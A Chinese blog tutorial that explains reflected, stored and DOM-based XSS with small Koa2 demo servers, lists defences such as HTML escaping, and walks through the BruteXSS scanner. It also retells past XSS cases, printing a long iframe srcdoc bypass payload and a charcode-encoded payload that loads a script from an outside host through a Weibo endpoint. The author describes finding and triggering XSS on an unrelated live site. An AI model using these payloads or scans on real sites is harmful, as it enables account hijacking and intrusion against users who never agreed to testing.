因为以前太忙了,老是没有时间把本地写好的文章梳理整理后发出去。近期有时间了,才慢慢的整理后发出来(本地写的大多数时候是为了本身能看,哈哈哈)。javascript
文章首发于 Web 安全防护战 - 浅谈XSS。php
在进入 web 安全知识以前,建议对 HTTP 有所了解,能够看HTTP 入门体检,会对如下的内容有所帮助。html
XSS,跨站脚本攻击。很常见的一种攻击方式,主要是经过脚本注入的方式进行攻击用户。一般有:反射型 XSS 、存储型 XSS和 DOM 型 XSS。——跨站脚本 - 维基百科前端
反射型 XSS,为非持久型,能够把它想象成反射弧。从发起带有XSS脚本的请求,提交到服务端,服务端解析后响应随之返回浏览器,最后浏览器将其响应解析并执行。简单来讲,通常都是由 URI 参数直接注入的攻击。java
咱们用 Koa2 来模拟一下,如下是简单的示例代码:python
const Koa = require('koa');
const app = new Koa();
const template = ` <html> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> #{root} </body> </html> `;
app.use(async ctx => {
ctx.body = template.replace('#{root}', `welcome: ` + ctx.query.xss);
});
app.listen(3000);
复制代码
在下面咱们能够看到,浏览器会报错,缘由是现代浏览器都会有 XSS 拦截的保护机制(这并不表明由于浏览器帮咱们作了而咱们就能够忽略 XSS 的知识)。react
所以咱们须要在服务器设置响应首部X-XSS-Protection
。因为咱们是要模拟 XSS ,因此咱们先关闭 XSS 的保护 ctx.set('X-XSS-Protection', 0)
,而后就能够看到如下结果,弹出 alert 弹窗。git
除了上面直接执行脚本以外,还能够加载非同源的js文件,嵌入 iframe 页面等等。github
存储型 XSS,为持久型。跟反射型 XSS 的惟一区别在因而否会保存在服务器,如数据库,内存等。而当别人访问该页面时,就会受到 XSS 代码的攻击。危害相比反射型更加严重,也更隐匿。web
咱们再次用Koa2来模拟一下,如下是简单的示例代码:
const Koa = require('koa');
const app = new Koa();
const template = ` <html> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> #{root} </body> </html> `;
// 模拟数据库
const database = {
message: '',
}
app.use(async ctx => {
let url = ctx.request.url;
if (url.indexOf('/blog') === 0) {
database.message = ctx.query.message;
ctx.body = '发送成功~'
} else {
ctx.set('X-XSS-Protection', 0);
ctx.body = template.replace('#{root}', `来自某某人的消息:` + database.message);
}
});
app.listen(3000);
复制代码
大概的步骤是模拟类博客那种,黑客利用漏洞向网站发送带有 XSS 攻击脚本到服务器,服务器没有任何的安全校验直接保存到数据库 database
,当其余用户访问带有该 XSS 脚本的页面时就被攻击了。在这里咱们发送一个带用 iframe 劫持的请求到服务器,用户收到响应时就会返回该 iframe 页面。
DOM 型 XSS,为非持久型,主要是利用前端的代码逻辑漏洞,攻击者植入恶意代码,而后浏览器解析恶意代码后执行形成的 XSS 攻击。
如下是简单的示例代码:
<html>
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
DOM 型 XSS
</body>
<script type="text/javascript"> setTimeout('alert(1)'); setInterval('alert(2)'); eval('alert(3)'); </script>
</html>
复制代码
X-XSS-Protection
,现代浏览器也同样会为咱们拦截大部分的 XSS 攻击(反射型 XSS,并且只会拦截出如今 HTML 内容或属性中,同时也并非全部浏览器都支持);// 展现转义简单处理
function escapeHtml (str) {
if (!str) return '';
return str.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/');
}
复制代码
JSON.stringify
来处理;[innerHTML]/v-html/dangerouslySetInnerHTML
来插入 html 元素;eval()/setTimeout()/setInterval()
,都是能够直接将字符串当代码段运行;js-xss
库;整体来讲,咱们能作的只是下降 XSS 攻击的风险,XSS 的攻防战一直存在也十分复杂。最后给一下XSS过滤绕过速查表,祝你们看得开心(溜了~
是否你会存在这样的侥幸心理,看完上文后以为只要进行转义就好了,是的,其实只要进行转义就好了,问题就是从XSS过滤绕过速查表看出,过滤规则表仍是蛮多的。咱们来简单的实战一下。
XSS 检测工具备不少,有BruteXSS,XSSer,Beef-XSS等等,能够说靠本身在本地扫描本身本地项目是否存在 XSS 漏洞了。咱们在这里用BruteXSS来演示一下,仅作学习,切勿犯法。
BruteXSS 是一个根据暴力注入参数的跨站点脚本检测工具,不只仅支持 GET 请求,还支持 POST 请求。它能从指定的词库中夹在多种 payload 进行注入,而且使用指定的 payload 和扫描检查这些存在的 XSS 漏洞的参数。
咱们从 github 下载BruteXSS,之因此下载这个是由于它有 wordlist-huge.txt,也就是咱们所说的 payload 词库,它约有5000条 payload 脚本。接着咱们还须要安装 Python 2.7,pip install colorama
和 pip install Mechanize
。
执行 python brutexss.py
,正常状况下会出现如下界面:
接着,搓搓期待的小手,咱们能够处处学(sa)习(ye)了。找了很久好不容易才找到一个,因而咱们就开始行动,具体的操做在这里就不讲解了,由于一步一步看操做,很简单。咱们找的是使用 GET
方法,这类漏洞比较好找,只要对方有输入框便可(如今的浏览器以及网站多多少少都会防护部分XSS,因此不太好找)。
能够看到参数 q
有一个遗漏的注入点,因而咱们就来试试看,是否真的成效。
(,,#゚Д゚),没想到竟然成了,我试了好多几乎都被后台拦截了,这个竟然成了(,,#゚Д゚)。能够看出经过 payload 给出的攻击脚本能顺利的弹出 1
这个框。这个就是典型的反射型 XSS 攻击。
除此以外,咱们还能够利用该工具在一些破破烂烂的边缘网站发帖来实现存储型 XSS攻击。可是这个工具也只是辅助工具,并不表明经过该工具扫描不出的就无漏洞,更多攻击者靠的但是技术以及经验。
乌云不在的第三个年头,想它。 ———— 鲁迅
不只仅是破破烂烂的边缘小网站,也有大公司也存在过 XSS 攻击的案例。
iframe
的 srcdoc
没作处理,所以能够利用这个弱点来进行注入 payload,而后分享给别人,payload 以下;iframe
的 srcdoc
增强过滤就好了;<#<iframe class="zhouzhou" src='javAscript:confirm(1111)'/1111111wooyun/)"');' href=`vBscript:msgbox('"');` srcdoc='vBscr<script>alert(document.domain);</script>ipt:msgbox('"');' alt=`
` yuyangzhou="<iframe" onclick=eval('<script>alert(/martinzhou/)</script>'); style="font-family:e/* &#*/x/*"*/p/*>*/r/*onkeydown=*/ession(confirm(5));"iframe>zhou">5</iframe>
``<div class=" \\'" src= javAscript:confirm('1"'); href=`data:q;base64,PHNjcmlwdD5hbGVydCgnQHFhYicpPC9zY3JpcHQ+` srcdoc= javAscript:confirm('1"'); alt="zhou" yuyangzhou=``<div/onmouseover=prompt(1)` onload=alert('1"'); style= font-family:e/*;/*/x/*"*/p/*"*/r/*onclick=*/ession(confirm(0));""`<div/onmouseover=prompt(1) >0</div>
复制代码
http://book.weibo.com/newcms/i/weibo_send.php
;// 也就是说这个接口会校验`error.referer`
{"code":-1,"message":"\u8bf7\u6c42\u6e90\u4e0d\u5141\u8bb8[http:\/\/error.referer]"}
复制代码
error.referer
返回来后页面的响应报文为Content-Type: text/html; charset=utf-8
,既然错误后的Content-Type
为text/html
,那么咱们就能够在此作文章;// e=document.createElement("script");e.src="http://a.xxx.xyz/book.weibo.js",document.documentElement.appendChild(e)
// 将上面的转换为 char code 的形式
// 完整 URL 以下
http://a.xxx.xyz/?a=<img src=1 onerror=eval(String.fromCharCode(101,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,101,46,115,114,99,61,34,104,116,116,112,58,47,47,97,46,122,104,99,104,98,105,110,46,120,121,122,47,98,111,111,107,46,119,101,105,98,111,46,106,115,34,44,100,111,99,117,109,101,110,116,46,100,111,99,117,109,101,110,116,69,108,101,109,101,110,116,46,97,112,112,101,110,100,67,104,105,108,100,40,101,41))>
复制代码
http://book.weibo.com/newcms/i/weibo_send.php
,这时候的 error.referer
就会被咱们植入 XSS 攻击脚本了。能够看到,大多数漏洞都是处于绕来绕去最后发现漏洞的地方没有进行过滤转义处理。正所谓 攻击千万条,安全第一条。过滤不规范,开发两行泪。